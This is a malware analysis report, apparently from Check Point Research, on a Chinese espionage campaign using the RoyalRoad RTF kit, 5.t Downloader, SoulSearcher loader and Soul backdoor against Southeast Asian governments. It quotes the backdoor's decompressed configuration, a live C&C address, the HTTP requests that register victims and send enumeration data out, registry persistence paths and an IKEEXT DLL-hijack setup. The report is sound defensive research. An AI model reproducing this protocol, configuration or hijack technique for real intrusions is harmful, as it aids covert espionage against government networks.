In 2021, Check Point Research published a report on a previously undisclosed toolset used by Sharp Panda, a long-running Chinese cyber-espionage operation targeting Southeast Asian government entities. Since then, we have continued to track the use of these tools across several operations in multiple Southeast Asian countries, in particular nations with similar territorial claims or strategic infrastructure projects such as Vietnam, Thailand, and Indonesia.
Key findings:
At the beginning of 2021, Check Point Research identified an ongoing surveillance operation we named Sharp Panda that was targeting Southeast Asian government entities. The attackers used spear-phishing emails to gain initial access to the targeted networks. These emails typically contained a Word document with government-themed lures that leveraged a remote template to download and run a malicious RTF document, weaponized with the infamous RoyalRoad kit. Once inside, the malware starts a chain of in-memory loaders, comprised of a custom DLL downloader we call 5.t Downloader and a second-stage loader responsible for the delivery of a final backdoor. The final payload observed in Sharp Panda campaigns at the time was VictoryDll, a custom and unique malware that enabled remote access and data collection from the infected device. We tracked several earlier versions of the VictoryDll backdoor back to at least 2017, with the whole operation remaining under the radar the entire time.
Further tracking of Sharp Panda tools revealed multiple campaigns that targeted entities in Southeast Asian countries, such as Vietnam, Indonesia, and Thailand. During this time, multiple minor changes were implemented in the 5.t Downloader itself, but in general, the initial part of the infection chain (the use of Word documents, RoyalRoad RTF and 5.t Downloader) remained the same. However, in early 2023, when investigating an attack against one of the government entities located in the targeted region, the payload received from the actor’s geo-fenced C&C server was different from the VictoryDll backdoor observed before. Further analysis revealed that this payload is a new version of SoulSearcher loader, which is responsible for downloading, decrypting, and loading in memory other modules of the Soul modular backdoor.
The use of the Soul malware framework was described by Symantec in relation to the unattributed espionage operation targeting defense, healthcare, and ICT sectors in Southeast Asia in 2020-2021. Following up on that report, Fortinet researchers discovered other samples from 2017-2021 and described the evolution of the framework. Soul was also seen in 2019 in attacks against Vietnamese targets. None of these public reports attributed the Soul framework to any specific country or known actor, although researchers noted the “competent adversarial tradecraft” which they believed indicated a “possibly state-sponsored” group.
In this report, we provide a detailed technical explanation of several malicious stages used in this infection chain and the latest changes implemented in the Soul framework. We also discuss the challenges in attributing these attacks.
The downloader, which in this specific case was dropped by RoyalRoad RTF to the disk as res6.a
, is executed by a scheduled task with rundll32.exe, StartA
. Its functionality is consistent with previous research of Sharp Panda activity. Similar to previous Sharp Panda campaigns, the C&C servers of the attackers are geofenced and return payloads only to requests from the IP addresses of the countries where the targets are located.
In the latest campaign, the actors implemented some changes in the downloader’s communication with the C&C. Previously, the entire C&C communication was based on sending data encrypted using RC4 and encoded with base64, with an exception for the HTTP request for payload which contained the hostname in plain text in the URI: /[**hostname]**.html.
However, in the new samples, the payload request is issued to the same PHP path as all the previous requests, with the host specified in its parameter, both MD5-hashed and in clear-text: [host_name]*[host_name_md5]
, e.g. MyComputer*d2122d4f4cdf26faa1b2f73bda6030f4
and then encoded:
/[php_name].php?Data=[encoded<host_name_and_host_md5>]
It’s noteworthy that while different keys were used, the encoding method using RC4+Base64 remained consistent in all cases.
In addition to changes in the URL patterns, the actors refrained from using the distinctive User-Agent “Microsoft Internet Explorer”
and instead used a hardcoded generic one. A few of the samples we observed also communicated through HTTPS, not HTTP. Unlike the previous version where only the API calls were obfuscated, the new version also uses string encryption. However, the encryption is quite simple and consists of loop XORing an encrypted character with the difference of a loop index and a constant value:
As in previous versions, the downloader gathers data from the victim’s computer including hostname, OS name and version, system type (32/64 bit), username, MAC addresses of the networking adapters, and information on anti-virus solutions. If the threat actors find the victim’s machine to be a promising target, the response from the server contains the next stage executable in encrypted form and its MD5 checksum. After verifying the integrity of the received message, the downloader loads the decrypted DLL to memory and starts its execution from the StartW
export function (the same name as the next stage loader export in previous campaigns that used the downloader).
SoulSearcher is a second-stage loader, which according to Fortinet research was seen in the wild since at least November 2018 and is responsible for executing the Soul backdoor main module and parsing its configuration. SoulSearcher has multiple variants based on where the configuration and payload are located and on the type of configuration. Among the samples used in the more recent activity cluster we have been researching, the SoulSearcher DLL (sha256: d1a6c383de655f96e53812ee1dec87dd51992c4be28471e44d7dd558585312e0) was slightly different from any previously discovered samples, with the backdoor embedded inside the data section and the embedded configuration in XML format.
The malware checks if it runs under a process named svchost.exe
, msdtc.exe
or spoolsv.exe
. If it does, it starts a thread on StartW
export and continues loading the backdoor. This might be an indication of the loader being used in different infection chains than we observed in this attack with the rundll32.exe directly starting a chain of in-memory DLL loaders from StartW
.
The payload loading process starts with obtaining the configuration. While previously seen XML SoulSearchers retrieved this from the registry, a file mapping object, or a file on the disk, the newest version loads the config from a hardcoded Base64 string and stores it in the registry path HKEY_CURRENT_USER\SOFTWARE\Microsoft\CTF\CONFIGEX
. The decoded data blob can be represented with the following struct:
struct compressed_data { DWORD magic; DWORD unused; BYTE lzma_properties[5]; DWORD size; DWORD compressed_size; BYTE decompressed_data_MD5[33]; BYTE compressed_data_MD5[33]; BYTE compressed_data[]; };
The loader contains a compressed Soul backdoor DLL in the data section of the loader, while previous samples stored it in the overlay.
Next, based on the system architecture, SoulSearcher appends 32
or 64
to the wide string L'ServerBase'
, hashes the resulting string with MD5, and creates the registry key with this hash: HKEY_CURRENT_USER\SOFTWARE\Microsoft\CTF\Assemblies\[ServerBaseArch_md5]
. The value contains the compressed payload.
If the registry key is successfully created, the loader reads the compressed payload and proceeds to decrypt and load it in memory. The loading process itself is not different from previously discussed variants of SoulSearcher: it uses the compressed_data
structure from the configuration to validate MD5 checksums, LZMA-decompress the compressed module, and reflectively load the Soul main module DLL in memory.
After loading the backdoor, Soul Searcher resolves the Construct
export of the backdoor and calls it with the arguments [ServerBaseArch_md5] -Startup
.
The Soul main module is responsible for communicating with the C&C server and its primary purpose is to receive and load in memory additional modules. Interestingly, the backdoor configuration contains a “radio silence”-like feature, where the actors can specify specific hours in a week when the backdoor is not allowed to communicate with the C&C server.
The recovered sample of the backdoor is quite different from the samples that were previously analyzed. The new version of SoulBackdoor was compiled on 29/11/2022 02:12:34 UTC
. Based on their timestamps, the earlier samples analyzed by other researchers are mostly from 2017 with the exception of one from 2018, which, similar to our case, was embedded inside the SoulSearcher loader.
The backdoor implements a custom C&C protocol, which is entirely different than previously observed versions. Both the old and new versions are based on HTTP communication, but the latest version seems to be more complex and uses various HTTP request methods such as GET
, POST
, and DELETE
. The API endpoints are also different, and the C&C requests contain additional HTTP request headers. In terms of the backdoor functionality, the enumeration data is different from the previous versions and is more extensive. The supported C&C commands, with the newer variant primarily focused on loading additional modules, lack any type of common backdoor functionality like manipulating local files, sending files to the C&C, and executing remote commands.
The backdoor requires two arguments or the “-v”
argument before performing its activity. As we mentioned earlier, in our case it is executed by SoulSearcher with [ServerBaseArch_md5] -Startup
arguments.
Soul backdoor first creates an event using the hardcoded name Global\3GS7JR4S
and checks the registry key HKEY_CURRENT_USER\SOFTWARE\Microsoft\CTF
. It then uses the same configuration (from the registry key HKEY_CURRENT_USER\SOFTWARE\Software\Microsoft\CTF\CONFIGEX
) with the compressed_data
struct (as used by SoulSearcher) to extract the payload and decompress its own configuration. The configuration of the main module provides the parameters of C&C communication and other aspects of the backdoor execution. The compression algorithm is LZMA, similar to that found in older variants. After decompression, the config looks like this:
<CONFIG FLAG="X6bmLMbAL29AlxB"> <BASE> <Ip>http://103.159.132.96/index.php</Ip> <Dns>8.8.8.8|114.114.114.114|</Dns> <Proxy></Proxy> <CntPort>80|443</CntPort> <LstPort>0</LstPort> <Blog>NULL</Blog> <DropboxBlog>NULL</DropboxBlog> <HTTPS>false</HTTPS> </BASE> <SVC> <SvcName>IKEEXT</SvcName> <SvcDisp>@%SystemRoot%\system32\ikeext.dll,-501</SvcDisp> <SvcDesc>@%SystemRoot%\system32\ikeext.dll,-502</SvcDesc> <SvcDll>wlbsctrl.dll</SvcDll> </SVC> <ADV> <OlPass>NULL</OlPass> <OlTime>1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1;1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1;1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1;1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1;1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1;1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1;1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1;</OlTime> <SelfDestroy>2029-07-11 15:29:32</SelfDestroy> </ADV> </CONFIG>
In its base (<BASE>
) settings, the configuration contains the parameter “LstPort
”. In the previous versions, this provided the backdoor the ability to listen on a specified port. In this version, the code that supported this feature was removed, and the backdoor can only actively connect to the C&C server using the URL provided in the “IP” parameter on the “connect” port “Cnt
”.
In the “advanced” section (<ADV>
) of the configuration, the “OlTime
” parameter contains a list of 168 (24×7) numbers, one per hour in a week. Each hour is represented either by 0 or 1. Zero means a “blocked” hour, and one represents an “allowed” hour. This way the operators of the malware can use the configuration to enforce the specific hours the backdoor is allowed to communicate with the C&C server. If the OlTime
field is empty in the config, a default setting is for all days and hours to be configured as “allowed”. This is an advanced OpSec feature that allows the actors to blend their communication flow into general traffic and decrease the chances of network communication being detected. The “service” (<SVC>
) section defines the parameters for the backdoor to be installed as a service:
<SVC> <SvcName>IKEEXT</SvcName> <SvcDisp>@%SystemRoot%\system32\ikeext.dll,-501</SvcDisp> <SvcDesc>@%SystemRoot%\system32\ikeext.dll,-502</SvcDesc> <SvcDll>wlbsctrl.dll</SvcDll> </SVC>
The Symantec publication also mentioned the Soul Searcher running as a service, but in the sample we analyzed, there is no code that implements this feature. Judging by the settings left in the configuration we observed, the actors performed some variation of IKEEXT DLL Hijacking, when on the start of the IKEEXT service, svchost.exe
would load the malicious DLL, saved as wlbsctrl.dll
.
After loading and parsing the configuration the backdoor checks the registry HKEY_CURRENT_USER\SOFTWARE\Software\Microsoft\CTF\Assemblies
for the existence of a key with the name of MD5 hash of the wide string L"AutoRun"
. If it exists, the backdoor decompresses, loads in memory, and executes the Construct
export of the DLL stored in this key. Although we didn’t witness the creation or usage of this additional DLL payload, this logic is likely used for auto-updates or executing specific actions prior to the main backdoor activity.
After all of these steps are concluded, the backdoor begins the execution of its main thread.
The main thread begins by validating that it received from the configuration the C&C URL and DNS (or blog URL, which is empty in our case), and that the C&C URL starts with http://
, https://
or ftp://
. In this specific sample, we did not observe any type of FTP communication capabilities. Then, if the current hour is “allowed” by OlTime
configuration, it begins the C&C communication.
Bot registration and victim fingerprinting
The first request is sent to the specified URL with the ClientHello
parameter. The MD5 header is an MD5 hash of the body. As there is no data transferred by this request, the MD5 (d41d8cd98f00b204e9800998ecf8427e
) is of an empty string. In further analysis of the requests, we omit the common headers (Cache-Control, Connection, User-Agent, MD5 and Host) as their meaning doesn’t change between the requests.
GET /index.php?ClientHello HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Win32) MD5: d41d8cd98f00b204e9800998ecf8427e Content-Length: 0 Host: 103.159.132.96
The expected response from the C&C server is ERR! ParamError!
In case of a bad or no response, the backdoor attempts to resolve the IP address of the C&C server on its own through the DNS servers in the config.
If the response is correct, it saves the C&C IP address in this format: SVR:[IP_field_from_config]:[CntPort]
to the registry key HKEY_CURRENT_USER\SOFTWARE\Microsoft\CTF\SVIF
.
Next, the module performs a full system enumeration and collects the following data:
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion
registry key such as ProductName, CSDVersion, ProductId, RegisteredOwner, RegisteredOrganization etc.HKLM\SYSTEM\CurrentControlSet\Control\TimeZoneInformation and HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones
registry.https://www.whatismyip.com/
:After the system enumeration, the backdoor generates a botUUID
, concatenating with “-” two MD5 strings based on various parameters from the enumerated data. It saves the botUUID
to the registry key HKEY_CURRENT_USER\SOFTWARE\Microsoft\CTF\UUID
. The resulting botUUID
looks like this:
5d41402abc4b2a76b9719d911017c592-7d793037a0760186574b0282f2f435e7
and is used in all the following network requests.
New C&C connection
After the system enumeration, the backdoor issues a series of requests to “register” a new connection and perform validation against the C&C server.
First, the backdoor notifies the server of a new connection. It is implemented as a DELETE request with the botUUID:
DELETE /index.php?[botUUID];[botUUID].txt HTTP/1.1
The accepted response from the C&C: OK!
Next, the Connect
request is sent, whose body contained Base64 of the string ConnectXXXXXXXX
, where XXXXXXXX
is the connection timestamp retrieved by GetTickCount()
API.
POST /index.php?[botUUID]/REQ.dat HTTP/1.1 [Base64-encoded string]
The accepted response from the C&C: OK!
The following request prepares the server to receive the enumeration data from the victim’s machine:
GET /index.php?Enum;[botUUID]_[connection_timestamp].txt HTTP/1.1
The accepted response from the C&C is a string that looks like this: ./Updata/[botUUID]_[connection_timestamp].txt
.
This is most likely the path on the server to store the enumeration data.
After this the backdoor sends another network request, possibly for verification:
GET /index.php?D;[botUUID]_[connection_timestamp].txt HTTP/1.1
The accepted response is a base64-encoded string that contains the botUUID.
At the end of this process, if all the requests are successful, the backdoor is “registered” at the C&C server and continues sending information about the system.
Send enumerated data
From this point on, the data sent between the backdoor and the C&C server relies on another struct, c2_body
:
struct c2_body { DWORD special_flag; DWORD additional_data; DWORD const_float; BYTE command_id; };
const_float
, where used, is a hardcoded value, 5.2509999. special_flag
and additional_data
seem to be multipurpose variables that have different meanings in different contexts of the program execution. When sent in the body of both requests and responses, this struct is compressed according to the previously described compressed_data
struct from SoulSearcher, and then encoded with Base64.
First, the backdoor sends the current timestamp in the request to the following URL (a new timestamp is again retrieved by GetTickCount()
API).
POST /index.php?CU;[botUUID]_[connection_timestamp].txt;[botUUID]/Data_S_[session_timestamp].dat HTTP/1.1 [base64-encoded and compressed c2_body]
In this request, special_flag
is 0x00, command_id
is 0x01 and additonal_data
is the tick count. The accepted response is OK!
Otherwise, the backdoor sleeps and starts the connection from the beginning.
Next, the backdoor collects the enumeration data again, and compresses it using another struct:
struct enum_compressed_data { c2_body c2_msg; compressed_data enum_data; };
The struct is then encoded with Base64 and sent in the body of the following request (the URL and methods are the same):
POST /index.php?CU;[botUUID]_[connection_timestamp].txt;[botUUID]/Data_S_[session_timestamp].dat HTTP/1.1 [base64-encoded and compressed enum_compressed_data]
The command_id
is the same 0x01, special_flag
=0, additional_data
= 0x4000 + 0x49 = size of enum data.
The accepted response is also OK!
Main C&C loop
After posting the enumeration data, the backdoor enters an infinite loop, contacting the C&C server with the following request to receive the commands:
GET /index.php?CDD;[botUUID]_[connection_timestamp].txt;[botUUID]_[connection_timestamp]/Data_C_* HTTP/1.1
If there is no C&C command for the victim, the server responds with ERR! Path not found, WAIT!
If there is a command to execute, the C&C returns it in a base64-encoded string which is decompressed with compressed_data
and parsed as c2_body
. Then the command_id
from the struct is translated to the actual command execution.
The main commands that can be received from the C&C server are control messages for the bot:
Command ID | Action | Description |
---|---|---|
0x04 | Execute command | Create a thread that handles commands from the second set of commands. |
0x0D | Client keep-alive | Mirror the request from the C&C server. |
0x0E | Restart C&C session | Send DELETE request and restart the communication from client Hello. |
0x0F | Exit | Send DELETE request and exit process forcefully. |
If in the c2_body
the special_flag
is set to one, the backdoor starts a continuous loop requesting data from the C&C server. The server should respond with a module name to be loaded from the Computer\HKEY_CURRENT_USER\SOFTWARE\Microsoft\CTF\Assemblies
registry key, which is executed from its Construct
export. Then the backdoor proceeds to execute the command specified in command_id
.
If the command_id is 0x04
, the backdoor spawns a new “command execution” thread that performs a similar network communication flow as the main thread, only without sending the enumeration data.
It then begins handling the following commands:
Command ID | Action | Description |
---|---|---|
0xF | Exit thread | If the command_flag is on stop, exit the “command execution” thread. Otherwise do nothing |
0x61 | Install modules | The server sends the number of modules to be written to the registry. Then the bot makes requests to the C&C server, once per module and writes it to a specified registry key. Validate the result by executing command 0x65 afterward.All the registry keys are under Computer\HKEY_CURRENT_USER\SOFTWARE\Microsoft\CTF\Assemblies . |
0x62 | Delete modules | Delete registry keys that are sent by the C&C in a string separated by semi-colons (;). Validate the result by executing command 0x65 afterward. |
0x63 | Validate modules | Validate that modules are currently compatible with the system architecture. The modules are located in the registry, and registry keys names are sent by the C&C separated by a semi-colon. |
0x64 | Load module | Load the specified module and call its export function Construct . The registry key where the module is stored is sent by the C&C server. |
0x65 | Enumerate modules | Create a buffer with all registry keys under Computer\HKEY_CURRENT_USER\SOFTWARE\Microsoft\CTF\Assemblies in the format of %s:%f:; (key name and first 4 bytes of the value), then send the buffer back to the C&C. |
All the received modules are stored compressed in the registry. The decompression is performed according to another struct:
struct stored_module { float version_or_id; QWORD decompressed_size; QWORD compressed_size; BYTE md5sum[33]; BYTE compressed_data[]; };
We didn’t witness any follow-up modules, but due to the modular nature of the backdoor, we can expect the actors to use all kinds of data-stealing modules, keyloggers, data exfiltration modules and likely also a lateral movement toolset.
As the first stages of the infection chain are identical to the previously described Sharp Panda activity, many of the indicators that allowed us to attribute the threat actors to Chinese-based threat groups are still relevant in relation to the subsequent attack attempts described in this report:
In addition, the Soul Backdoor configuration contains 2 hardcoded DNS services, one of which is a Chinese 114DNS Free Public DNS service which is not commonly used outside the region.
The campaign discussed in this report involves the malicious artifacts from different clusters of malware activity. As sharing custom tools or operational methods is common among Chinese-based threat actors to facilitate intrusion efforts, it poses a challenge to their attribution. In addition to observing different toolsets from two previously not connected clusters (Sharp Panda and previous attacks using the Soul framework), other areas of overlap between publicly tracked Chinese APT groups and this campaign include the following:
The vague links of all the aforementioned groups to Chinese intelligence Services, the nature of the targets, and the capabilities of the toolset used lead us to the conclusion that the described activity is an espionage operation likely executed by well-resourced and possibly nation-state threat actors.
In this report, we analyzed the TTPs and the tools used in the espionage campaign against Southeast Asian government entities. The initial infection stages of this campaign use TTPs and tools consistent with Sharp Panda activity first discovered in 2021. We continue to track Sharp Panda as a separate unknown cluster, and based on our current insight into this threat, we cannot confirm with high confidence their relation to other Chinese threat actors.
The later stages of the infection chain in the described campaign are based on Soul, a previously unattributed modular malware framework. While the Soul framework has been in use since at least 2017, the threat actors behind it have been constantly updating and refining its architecture and capabilities. Based on the technical findings presented in our research, we believe this campaign is staged by advanced Chinese-backed threat actors, whose other tools, capabilities, and position within the broader network of espionage activities are yet to be explored.
Phishing documents
External template (RoyalRoad RTF)
5.t Downloader
SoulSearcher
Soul Backdoor